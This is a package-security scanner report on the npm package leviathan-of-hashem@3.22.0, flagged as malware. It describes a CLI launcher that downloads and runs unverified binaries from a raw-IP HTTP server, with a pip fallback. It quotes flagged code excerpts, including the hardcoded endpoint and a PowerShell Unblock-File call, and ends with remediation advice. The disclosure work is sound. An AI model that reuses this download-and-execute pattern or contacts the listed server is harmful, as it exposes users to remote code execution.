registry / Remote code execution / leviathan-of-hashem
leviathan-of-hashem
Leviathan Shel HaShem — the 708-agent Kabbalistic swarm in your terminal. Self-contained binary, no Python/Node deps.
This report shows the evidence for leviathan-of-hashem@3.22.0. 2 of 11 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 1mo ago · by lpm-firewall-aiThis is an unverified remote-code launcher over HTTP with automatic update behavior and an external-package fallback. Although it lacks an install hook, the explicit CLI invocation creates a concrete remote code execution path.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
A user runs any installed CLI command or invokes the package with npx.
Impact
The release server or a network attacker can supply code that runs with the invoking user's privileges; the fallback also installs and runs an external Python package.
Mechanism
Remote binary download, executable permission change, and process launch without integrity verification.
Attack narrative
When the user invokes the CLI, it contacts the raw-IP HTTP server to obtain a version and platform executable. A changed version causes replacement of the cached executable, which is marked executable and launched without any checksum or signature validation. An attacker controlling that server or able to alter the HTTP response can run arbitrary code as the user. If this path fails, the launcher installs and uses a separately resolved Python package.
AI rationale
This is an unverified remote-code launcher over HTTP with automatic update behavior and an external-package fallback. Although it lacks an install hook, the explicit CLI invocation creates a concrete remote code execution path.
Evidence
bin/run.js.lvtn/bin/lvtn.lvtn/bin/version.txt$XDG_CACHE_HOME/lvtn/bin/lvtn$XDG_CACHE_HOME/lvtn/bin/version.txt
Network endpoints1
5.78.43.130:3708/releases/cli
Decision evidence
public snapshotAI called this Malicious at 93.0% confidence as Malware with low false-positive risk.
Evidence for block
- The command launcher defaults to an unsecured HTTP release server addressed by raw IP.
- Every command invocation checks a remote version file and treats a changed value as an instruction to replace the local binary.
- It downloads a platform binary, makes it executable, and launches it without an integrity or signature check.
- If the download fails, it runs pip to install another package and then executes its module.
Evidence against
- package.json has no npm lifecycle scripts, so installation alone does not trigger this behavior.
- The launcher is reached through explicitly invoked package commands rather than import-time code.
Behavioral surface
ChildProcessEnvironmentVarsFilesystemNetworkShell
HighEntropyStringsUrlStrings
NoLicense
Source & flagged code
8 flagged · loading sourcebin/run.jsView file
11const path = require("path");
L12: const { spawn, execSync } = require("child_process");
L13:
High
124try {
L125: execSync(`powershell -Command "Unblock-File -Path '${BIN_PATH}'"`, { stdio: "ignore" });
L126: } catch (_) {}
High
7L8: const https = require("https");
L9: const http = require("http");
...
L11: const path = require("path");
L12: const { spawn, execSync } = require("child_process");
L13:
L14: const BASE = process.env.LVTN_BINARY_BASE || "http://5.78.43.130:3708/releases/cli";
L15: const CACHE_DIR = process.env.LVTN_CACHE_DIR ||
High
Same File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
bin/run.jsView on unpkg · L7Findings
6 High4 Medium5 Low
HighChild Processbin/run.js
HighShellbin/run.js
HighSame File Env Network Executionbin/run.js
HighSandbox Evasion Gated Capabilitybin/run.js
HighKnown Malware Source Similaritybin/run.js
HighKnown Malware Source Fingerprint Signaturebin/run.js
MediumNetwork
MediumEnvironment Vars
MediumShips Compressed Blobleviathan-of-hashem-3.14.3.tgz
MediumStructural Risk Force Deep Review
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
LowNested Archive Needs Inspectionleviathan-of-hashem-3.14.3.tgz
Affected versions and remediation
This report applies to leviathan-of-hashem@3.22.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing leviathan-of-hashem@3.22.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.